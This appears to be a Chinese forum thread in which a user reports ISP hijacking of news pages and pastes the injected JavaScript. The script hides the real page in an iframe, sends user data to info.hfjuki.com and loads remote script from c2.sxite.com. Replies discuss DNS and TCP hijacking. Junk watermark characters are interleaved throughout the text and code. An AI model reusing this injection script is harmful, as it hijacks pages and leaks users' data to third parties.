上网奇遇记

hudba

+ Z3 _+ z: s* T% i) y$ }上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了
* T8 G9 d1 `0 C
接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}
( I( c( b# V& A/ a8 Y  r

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

  d6 Q# x( L; ]+ G8 P" S8 P; M
顺便查下ip138：

这是那段js里面的代码，好象是个半成品还没写入广告数据：
: O9 O3 A; J) ^  x3 C. R% {( z. F

1. function locationSearch() {
   
2.         var s = getMainJs();
   2 B' r% F, H( R% y5 p7 l7 x
3.         if (s == null) {
   & w' k7 N( {# d! j3 ?$ M! e) [. F0 M
4.                 location.reload();
   
5.         }
   
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   . e: I% @# i* V' T' m3 h
7. }
   
8. 
   
9. function getParameter(name, paraStr) {
   & m! E' M0 [  ]0 Z6 s& l+ g
10.         var result = "";
    
11.         var str = "&" + paraStr.split("?")[1];
    
12.         var paraName = "&" + name + "=";
    
13.         if (str.indexOf(paraName) != -1) {
    
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    : w' `- D6 o# Q& U) d9 {+ p
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    2 ^0 A  A/ Q$ ]6 n# E& [: G
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    : m+ R( h% ~) \' U+ i9 a
17.                                         1, TmpStr.length).indexOf("&")
    ( S# A( a- {  ^6 k& ^; n, a
18.                                         - TmpStr.indexOf(paraName) + 1);
    ! ^9 h. t  r6 E3 |; K
19.                 } else {
    
20.                         result = str.substring(str.indexOf(paraName), str.length);
    
21.                 }
    
22. 
    5 o# s' y) A  B
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    % d: i$ i& x1 M' U2 Q
24.         } else {
    
25.                 result = "No such parameter";
    
26.         }
    
27.         return (result.replace("&", ""));
    & g& ^3 a& g' w4 N' K( ~; v% K
28. }
    5 e. ~* \+ n: |: G. p, _
29. 
    
30. function getMainJs() {
    ; N* u/ ]- E" |$ `% o
31.         var scripts = document.getElementsByTagName("script");
    , v$ E1 f4 b4 b8 g7 Z  I$ T* }
32.         var s = null;
    
33.         for (var i = 0; i < scripts.length; i++) {
    
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    
35.                         s = scripts[i];
    
36.                         break;
    
37.                 }
    ! r8 X' j! O2 ]: Z! D! t
38.         }
    7 g8 f+ _( [) N" x' k1 y
39.         return s;
    4 i7 x  J. x2 S4 E# }) |
40. }
    5 W* B0 r& C. B6 j. A  V' O2 j2 `
41. 
    2 B4 B' b# x2 u( \) ]
42. function appendParam(oStr, aStr) {
    
43.         if (oStr.indexOf('?') > 0) {
    ! `8 K& r' D8 W
44.                 oStr = oStr + "&" + aStr;
    
45.         } else {
    1 ?2 l2 b$ C4 h7 f
46.                 oStr = oStr + "?" + aStr;
    
47.         }
    
48.         return oStr;
    
49. }
    
50. 
    1 f6 n- b+ v8 ?- |
51. window.onerror = function() {
    
52. };
    # Q% I0 j$ C' e$ ?/ q
53. 
    
54. var g_titleTime = 0;
    
55. function setTcTitle() {
    ) D' O# C* n9 a  U: o* V9 _0 q0 P
56.         if (undefined == document) {
    8 ^( f  Q) p' T% h" H, d4 m
57.                 g_titleTime++;
    9 l; Z+ K4 ]: |) o7 C0 v# b
58.                 setTimeout("setTcTitle();", 1000);
    9 n; l. x, f6 j9 x# ?
59.                 return;
    4 K3 K4 x% D( p6 C& S. x
60.         }
    * s6 s+ N+ b+ P& [. k
61. 
    ; P) y1 K" M3 q2 T/ S
62.         var doc;
    3 X7 I, o7 N/ O: S: A$ F! Y& ]
63.         try {
    / t+ s9 w6 p8 p' `$ k  K8 Z4 q- f2 C, z# T
64.                 if (document.all) {
    
65.                         doc = document.frames["cn"].document;
    - f* i# t! B) N
66.                 } else {
    
67.                         doc = document.getElementById("cn").contentDocument;
    ! Y) H; y' p) N; E- C. _  c! b* `
68.                 }
    + E' z/ ?/ X. p$ ^( \
69.         } catch (ex) {
    
70.         }
    
71. 
    # O% k, @, r6 I9 n( N3 t6 `
72.         if (g_titleTime < 5
    - D" m# x7 E+ T$ ?) M
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    
74.                 g_titleTime++;
    + f: n3 A' b( x8 e# M; ?
75.                 setTimeout("setTcTitle();", 1000);
    
76.                 return;
    
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    ) v( t+ r% b6 \2 I& F$ ?
78.                 document.title = doc.title;
    
79.                 setTcAdvVisible();
    - ~) D3 [+ q4 g) R% E( S
80.         }
    
81. }
    ! ?4 T8 w' _. x) j
82. 
    
83. setTimeout("setTcTitle();", 1000);
    1 I5 H2 Q5 {1 D
84. 
      l. T3 G; S7 `: T) h
85. var g_isHaveVisible = false;
    
86. function setTcAdvVisible() {
    
87.         if (undefined != document && undefined != document.getElementById("addiv")
    
88.                         && !g_isHaveVisible) {
    
89.                 document.getElementById("addiv").style.visibility = 'visible';
    3 l; ]5 Z7 [2 T
90.                 document.getElementById("addiv").style.display = 'block';
    
91.                 g_isHaveVisible = true;
      \' i& R2 F9 p* x
92.         }
    3 b# P% i5 d& c. @0 n* f1 N
93. }
    7 ^. B. Z2 P' t8 _0 V. j
94. 
    7 ~$ v* g8 u+ p9 A  u1 e+ ]
95. function UrlAnalyzer() {
    
96.         this.divda = "";
    
97.         this.tctype = "";
    
98.         this.radius = "";
    / z( q, }9 X3 c' _5 T) f" j8 x
99.         this.rlu = "";
    , b7 ~- K( k+ K
100. }
     # w: Q4 |" W6 A, W  Q
101. 
     : P# l/ f9 \4 z& b' s
102. UrlAnalyzer.prototype.initParameters = function() {
     
103.         var paraStr = locationSearch();
     8 Q& H. G9 v! _) ?% M! u
104.         this.rlu = getParameter("lruedct", paraStr);
     8 ?; U7 X* v5 \, S: ]$ l
105.         this.divda = getParameter("divda", paraStr);
     / B. a5 A8 p8 m" O1 K# w. r! a
106.         this.radius = getParameter("radius", paraStr);
     1 F. A4 w0 f" x$ p+ z2 Q
107.         this.tctype = getParameter("tctype", paraStr);
     
108.         this.address = getParameter("address", paraStr);
     $ a0 T9 {4 A8 z7 J# t
109.         this.usagent = getParameter("usagent", paraStr);
     
110. }
     * M: \  m" Y  f
111. 
     
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     
113.         var doc;
     . ]) \/ ^+ [  J7 [
114.         try {
     
115.                 if (document.all) {
     - o% z0 G2 C1 f* J3 a; d
116.                         doc = document.frames["cn"].document;
     . [# Z2 }2 P3 ?: @' t8 F
117. 
     
118.                 } else {
     
119.                         doc = document.getElementById("cn").contentDocument;
     
120.                         // doc = document.getElementById("cn").contentWindow.document;
     
121.                 }
     
122.         } catch (ex) {
     - H3 @* E+ \: Y5 Q
123.         }
     
124.         return doc;
     
125. }
     
126. 
     
127. UrlAnalyzer.prototype.setDomain = function() {
     
128.         if (undefined != document.title && "" == document.title)
     
129.         {
     
130.                 var index = document.domain.indexOf(".");
     # x: l3 r5 W/ v5 v, j6 A' h
131.                 if (undefined != index && -1 != index) {
     
132.                         document.domain = document.domain.substring(index + 1,
     : ^. s  ^& n; Z3 D" z0 G
133.                                         document.domain.length);
     4 E& U" j, X! Q7 T( D/ P! x( c
134.                 }
     ) g$ D- U- c; [* o5 k
135.                
     & `  Z& [$ R$ ^
136.                 var doc = this.getHtmlDoc();
     6 c: P6 K+ b* D2 _$ g  |# x( ~
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
138.                         document.title = doc.title;
     9 G) O: J: U; A" j
139.                         setTcAdvVisible();
     
140.                 }
     
141.         }
     2 V" R2 X4 ]3 h
142. }
     
143. 
     # X- i8 v4 [3 x1 U/ W& }
144. UrlAnalyzer.prototype.iframeCallback = function() {
     8 p! ~$ X( l* Q- `
145.         var doc = this.getHtmlDoc();
     
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     9 }! r, F8 }9 R8 e" T2 }* M) Y+ U
147.                 if (undefined != document.domain) {
     ; w& _# T2 U6 ~$ W9 X8 d
148. 
     : `1 \/ f, H) u; d3 k
149.                         var self = this;
     
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     # t' q6 s! V5 m# M$ ]2 _! n
151.                         // var index = document.domain.indexOf(".");
     + D( A% j; r2 n$ X' B
152.                         // if (undefined != index && -1 != index) {
     3 s  n. I. f6 f. x' A
153.                         // document.domain = document.domain.substring(index + 1,
     5 _0 h: z! \( Z& @: \& v2 {
154.                         // document.domain.length);
     
155.                         // }
     
156.                         //
     $ G" V$ b' s$ i, N
157.                         // var doc = this.getHtmlDoc();
     
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     
159.                         // doc.title) {
     : b; w5 F9 n7 B: T1 _1 z8 F
160.                         // document.title = doc.title;
     
161.                         // setTcAdvVisible();
     + S# b& t) v! N$ f- ^, A, _
162.                         // }
     
163.                 }
     ; @+ }4 M, ]) f9 v5 j
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
165.                 document.title = doc.title;
     
166.                 setTcAdvVisible();
     
167.         }
     
168. }
     9 u7 t# E  Z7 C1 A8 j+ `, P
169. 
     
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     ) G! d3 w2 h! u$ R" v
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     " M* d, W! r6 I6 X7 K1 C
173. 
     
174.         var htmlStr = "<iframe src="" + staUrl
     
175.                         + "" style="display:none"></iframe>";
     ' c+ S: L1 [" I: a
176. 
     
177.         var advUrl = htmlStr
     
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     7 q; b( u& l" |! Z3 F- J3 ]$ ^
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     : X5 {+ d& q( A7 {* H
180.         document.write(advUrl);
     
181. 
     # n" U  ^  T/ K' G6 n/ g1 E
182.         var self = this;
     $ w0 S* _2 y/ s/ S. N7 Q
183.         var iframe = document.getElementById("cn");
     : V0 Q6 v- j5 A/ w( I4 Q/ F+ z
184.         if (iframe.attachEvent) {
     
185.                 iframe.attachEvent("onload", function() {
     
186.                         self.iframeCallback.call(self, null);
     
187.                 });
     
188.         } else {
     
189.                 iframe.onload = function() {
     ' y! q8 G3 D& Z( \
190.                         self.iframeCallback.call(self, null);
     
191.                 }
     
192.         }
     
193. }
     & M8 V+ D& ^% u2 q- e
194. 
     
195. UrlAnalyzer.prototype.executeMain = function() {
     
196.         var mainFrame = document.getElementById("cn");
     
197.         mainFrame.contentWindow.location.href = mainFrame.src;
       J$ s6 e: O) x8 C, a  F1 k/ ^
198.         this.initParameters();
     & \8 A: l8 }9 c9 {# x& K; B
199.         this.executeHtmlContext();
     ( Z. e1 x% G% n" U, U7 H% V
200. }
     
201. 
     $ y/ W: K& p" \! Z, Q
202. var g_analyzer = new UrlAnalyzer();
     
203. g_analyzer.executeMain();
     

复制代码

/ z1 h8 }- l/ k0 C+ F

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

' B, N; q( ?; n8 [* v/ W5 FTCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
TCP劫持，换DNS也不管用的。

幸好联通还木有这么强的技术

哈默

在国内，习惯就好